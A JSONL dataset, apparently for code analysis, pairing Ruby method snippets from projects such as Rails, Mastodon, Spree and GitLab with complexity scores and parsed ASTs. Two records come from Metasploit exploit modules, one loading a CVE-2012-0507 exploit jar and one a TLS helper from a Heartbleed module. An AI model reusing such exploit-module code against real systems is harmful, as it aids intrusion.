false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"auth_provider_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"auth_provider_id\"]},{\"type\":\"sym\",\"children\":[\"external_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"46fc05b0-48b1-497f-b020-f66d7960d514"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/favourites_controller.rb","start_line":38,"raw_source":"def prev_path\n    api_v1_favourites_url pagination_params(min_id: pagination_since_id) unless results.empty?\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"prev_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"results\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[null,\"api_v1_favourites_url\",{\"type\":\"send\",\"children\":[null,\"pagination_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min_id\"]},{\"type\":\"send\",\"children\":[null,\"pagination_since_id\"]}]}]}]}]}]}]}","id":"406c947a-6ef6-4e5d-920e-c76ff7e67938"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/active_record_only.rb","start_line":15,"raw_source":"def report\n    @@report ||=\n      Date.stub :today, Date.parse('2022-04-05') do\n        BrakemanTester.run_scan \"active_record_only\", \"ActiveRecordOnly\"\n      end\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"report\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"cvasgn\",\"children\":[\"@@report\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"today\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2022-04-05\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BrakemanTester\"]},\"run_scan\",{\"type\":\"str\",\"children\":[\"active_record_only\"]},{\"type\":\"str\",\"children\":[\"ActiveRecordOnly\"]}]}]}]}]}","id":"8ffd14ca-ac88-4c36-bad8-d61d7e71a86d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations_test.rb","start_line":1418,"raw_source":"def test_preload_with_unpersisted_records_no_ops\n    author = Author.new\n    new_post_with_author = Post.new(author: author)\n    new_post_without_author = Post.new\n    posts = [new_post_with_author, new_post_without_author]\n\n    assert_no_queries do\n      ActiveRecord::Associations::Preloader.new(records: posts, associations: :author).call\n\n      assert_same author, new_post_with_author.author\n      assert_nil new_post_without_author.author\n    end\n  end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_preload_with_unpersisted_records_no_ops\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"author\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_post_with_author\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"lvar\",\"children\":[\"author\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_post_without_author\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"posts\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_post_with_author\"]},{\"type\":\"lvar\",\"children\":[\"new_post_without_author\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Associations\"]},\"Preloader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"records\"]},{\"type\":\"lvar\",\"children\":[\"posts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"associations\"]},{\"type\":\"sym\",\"children\":[\"author\"]}]}]}]},\"call\"]},{\"type\":\"send\",\"children\":[null,\"assert_same\",{\"type\":\"lvar\",\"children\":[\"author\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_post_with_author\"]},\"author\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_post_without_author\"]},\"author\"]}]}]}]}]}]}","id":"f879573c-762b-4230-97e3-0489cfa27093"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/api/v1/photos_controller.rb","start_line":48,"raw_source":"def unauthorized_integration\n    render json: { error: \"#{params[:source]&.capitalize} integration not configured\" },\n           status: :unauthorized\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"unauthorized_integration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]},\"capitalize\"]}]},{\"type\":\"str\",\"children\":[\" integration not configured\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]}]}]}","id":"a65aa7b5-a948-4a4a-ab0d-149ba28dc8e1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/openssl_heartbeat_client_memory.rb","start_line":485,"raw_source":"def tls1_prf(input_secret, input_label, output_length)\n    # Calculate S1 and S2 as even blocks of each half of the secret\n    # string. If the blocks are uneven, then S1's last byte should\n    # be duplicated by S2's first byte\n    blen = (input_secret.length / 2.0).ceil\n    s1 = input_secret[0, blen]\n    s2_index = blen\n    if input_secret.length % 2 != 0\n      s2_index -= 1\n    end\n    s2 = input_secret[s2_index, blen]\n\n    # Hash the first part with MD5\n    out1 = tls1_p_hash('md5', s1, input_label, output_length).unpack(\"C*\")\n\n    # Hash the second part with SHA1\n    out2 = tls1_p_hash('sha1', s2, input_label, output_length).unpack(\"C*\")\n\n    # XOR the results together\n    [*(0..out1.length - 1)].map { |i| out1[i] ^ out2[i] }.pack(\"C*\")\n  end","complexity_score":34.93,"ast_json":"{\"type\":\"def\",\"children\":[\"tls1_prf\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input_secret\"]},{\"type\":\"arg\",\"children\":[\"input_label\"]},{\"type\":\"arg\",\"children\":[\"output_length\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"blen\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_secret\"]},\"length\"]},\"/\",{\"type\":\"float\",\"children\":[2.0]}]}]},\"ceil\"]}]},{\"type\":\"lvasgn\",\"children\":[\"s1\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_secret\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"blen\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"s2_index\",{\"type\":\"lvar\",\"children\":[\"blen\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_secret\"]},\"length\"]},\"%\",{\"type\":\"int\",\"children\":[2]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s2_index\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"s2\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_secret\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"s2_index\"]},{\"type\":\"lvar\",\"children\":[\"blen\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"out1\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tls1_p_hash\",{\"type\":\"str\",\"children\":[\"md5\"]},{\"type\":\"lvar\",\"children\":[\"s1\"]},{\"type\":\"lvar\",\"children\":[\"input_label\"]},{\"type\":\"lvar\",\"children\":[\"output_length\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"out2\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tls1_p_hash\",{\"type\":\"str\",\"children\":[\"sha1\"]},{\"type\":\"lvar\",\"children\":[\"s2\"]},{\"type\":\"lvar\",\"children\":[\"input_label\"]},{\"type\":\"lvar\",\"children\":[\"output_length\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out1\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out1\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},\"^\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out2\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]}]}","id":"791b6f0f-4630-4891-9499-35bb8a828d49"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/core/controller_helpers/turbo.rb","start_line":13,"raw_source":"def turbo_stream_request?\n          request.format.turbo_stream?\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"turbo_stream_request?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"format\"]},\"turbo_stream?\"]}]}","id":"735505b7-6a14-469f-83f3-9984e7d0ef2e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/models/contract.rb","start_line":20,"raw_source":"def bye\n    @bye_count ||= 0\n    @bye_count += 1\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"bye\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@bye_count\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@bye_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"c515a44b-efcb-4911-b600-8427a15c9625"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/browser/java_atomicreferencearray.rb","start_line":94,"raw_source":"def exploit\n    # load the static jar file\n    path = File.join(Msf::Config.data_directory, \"exploits\", \"CVE-2012-0507.jar\")\n    fd = File.open(path, \"rb\")\n    @jar_data = fd.read(fd.stat.size)\n    fd.close\n\n    super\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"CVE-2012-0507.jar\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fd\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@jar_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"close\"]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"50b6dbb8-6afb-4d64-8af7-9252351c96b2"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/product.rb","start_line":510,"raw_source":"def set_property(property_name, property_value, property_presentation = property_name)\n      property_name = property_name.to_s.parameterize\n      ApplicationRecord.transaction do\n        # Manual first_or_create to work around Mobility bug\n        property = if Property.where(name: property_name).exists?\n                     existing_property = Property.where(name: property_name).first\n                     existing_property.presentation ||= property_presentation\n                     existing_property.save\n                     existing_property\n                   else\n                     Property.create(name: property_name, presentation: property_presentation)\n                   end\n\n        product_property = if ProductProperty.where(product: self, property: property).exists?\n                             ProductProperty.where(product: self, property: property).first\n                           else\n                             ProductProperty.new(product: self, property: property)\n                           end\n\n        product_property.value = property_value\n        product_property.save!\n      end\n    end","complexity_score":29.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_property\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"property_name\"]},{\"type\":\"arg\",\"children\":[\"property_value\"]},{\"type\":\"optarg\",\"children\":[\"property_presentation\",{\"type\":\"lvar\",\"children\":[\"property_name\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"property_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"property_name\"]},\"to_s\"]},\"parameterize\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"property\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Property\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"property_name\"]}]}]}]},\"exists?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"existing_property\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Property\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"property_name\"]}]}]}]},\"first\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_property\"]},\"presentation\"]},{\"type\":\"lvar\",\"children\":[\"property_presentation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_property\"]},\"save\"]},{\"type\":\"lvar\",\"children\":[\"existing_property\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Property\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"property_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"presentation\"]},{\"type\":\"lvar\",\"children\":[\"property_presentation\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"product_property\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProductProperty\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"product\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"lvar\",\"children\":[\"property\"]}]}]}]},\"exists?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProductProperty\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"product\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"lvar\",\"children\":[\"property\"]}]}]}]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProductProperty\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"product\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"lvar\",\"children\":[\"property\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product_property\"]},\"value=\",{\"type\":\"lvar\",\"children\":[\"property_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product_property\"]},\"save!\"]}]}]}]}]}","id":"50efd5d7-6d39-4ce6-b22a-b6a2bfc1a885"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/terraform/remote_state_handler.rb","start_line":31,"raw_source":"def lock!\n      raise ArgumentError if params[:lock_id].blank?\n      raise UnauthorizedError unless can_modify_state?\n\n      retrieve_with_lock do |state|\n        raise StateLockedError if state.locked?\n\n        state.lock_xid = params[:lock_id]\n        state.locked_by_user = current_user\n        state.locked_at = Time.current\n\n        state.save!\n      end\n    end","complexity_score":24.3,"ast_json":"{\"type\":\"def\",\"children\":[\"lock!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lock_id\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_modify_state?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"UnauthorizedError\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retrieve_with_lock\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"state\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"locked?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StateLockedError\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"lock_xid=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lock_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"locked_by_user=\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"locked_at=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"save!\"]}]}]}]}]}","id":"51d8c31e-9969-485f-b1d2-19bf39319f7a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_test.rb","start_line":833,"raw_source":"def test_eager_habtm_with_association_inheritance\n    post = Post.all.merge!(includes: [ :special_categories ]).find(6)\n    assert_equal 1, post.special_categories.size\n    post.special_categories.each do |special_category|\n      assert_equal \"SpecialCategory\", special_category.class.to_s\n    end\n  end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_habtm_with_association_inheritance\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"all\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"special_categories\"]}]}]}]}]},\"find\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"special_categories\"]},\"size\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"special_categories\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"special_category\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"SpecialCategory\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"special_category\"]},\"class\"]},\"to_s\"]}]}]}]}]}","id":"42ae6ea5-3976-4f34-a18c-b220bd440068"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/app/models/openid_connect/provider.rb","start_line":135,"raw_source":"def icon\n      case oidc_provider\n      when \"google\"\n        \"openid_connect/auth_provider-google.png\"\n      when \"microsoft_entra\"\n        \"openid_connect/auth_provider-azure.png\"\n      else\n        super.presence || \"openid_connect/auth_provider-custom.png\"\n      end\n    end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"icon\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oidc_provider\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"google\"]},{\"type\":\"str\",\"children\":[\"openid_connect/auth_provider-google.png\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"microsoft_entra\"]},{\"type\":\"str\",\"children\":[\"openid_connect/auth_provider-azure.png\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"presence\"]},{\"type\":\"str\",\"children\":[\"openid_connect/auth_provider-custom.png\"]}]}]}]}","id":"7e7123a5-1a25-40e4-9717-f7150c59a0b4"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/payment.rb","start_line":241,"raw_source":"def editable?\n      checkout? || pending?\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"editable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"checkout?\"]},{\"type\":\"send\",\"children\":[null,\"pending?\"]}]}]}","id":"d75be392-9792-4a86-a77f-f868e124f2e9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/rules/rule/clause/if.rb","start_line":11,"raw_source":"def satisfied_by?(_pipeline, context)\n          ::Gitlab::Ci::Pipeline::Expression::Statement.new(\n            @expression, context.variables_hash_expanded).truthful?\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"satisfied_by?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_pipeline\"]},{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Ci\"]},\"Pipeline\"]},\"Expression\"]},\"Statement\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@expression\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"variables_hash_expanded\"]}]},\"truthful?\"]}]}","id":"26a4cc8e-d12c-4488-99a2-3b1954717c46"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/report.rb","start_line":128,"raw_source":"def unresolved_siblings?\n    Report.where.not(id: id).where(target_account_id: target_account_id).unresolved.exists?\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"unresolved_siblings?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Report\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_account_id\"]},{\"type\":\"send\",\"children\":[null,\"target_account_id\"]}]}]}]},\"unresolved\"]},\"exists?\"]}]}","id":"7f96da63-2b15-4716-8765-fdc48854b66b"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/coupon_codes/coupon_codes_handler.rb","start_line":21,"raw_source":"def find_current_promotions_ids\n        order.all_adjustments.promotion.eligible.map { |a| a.source.try(:promotion_id) }.compact\n      end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_current_promotions_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"all_adjustments\"]},\"promotion\"]},\"eligible\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"source\"]},\"try\",{\"type\":\"sym\",\"children\":[\"promotion_id\"]}]}]},\"compact\"]}]}","id":"c2e5c63b-7e4e-409d-b257-92105d017a0f"}
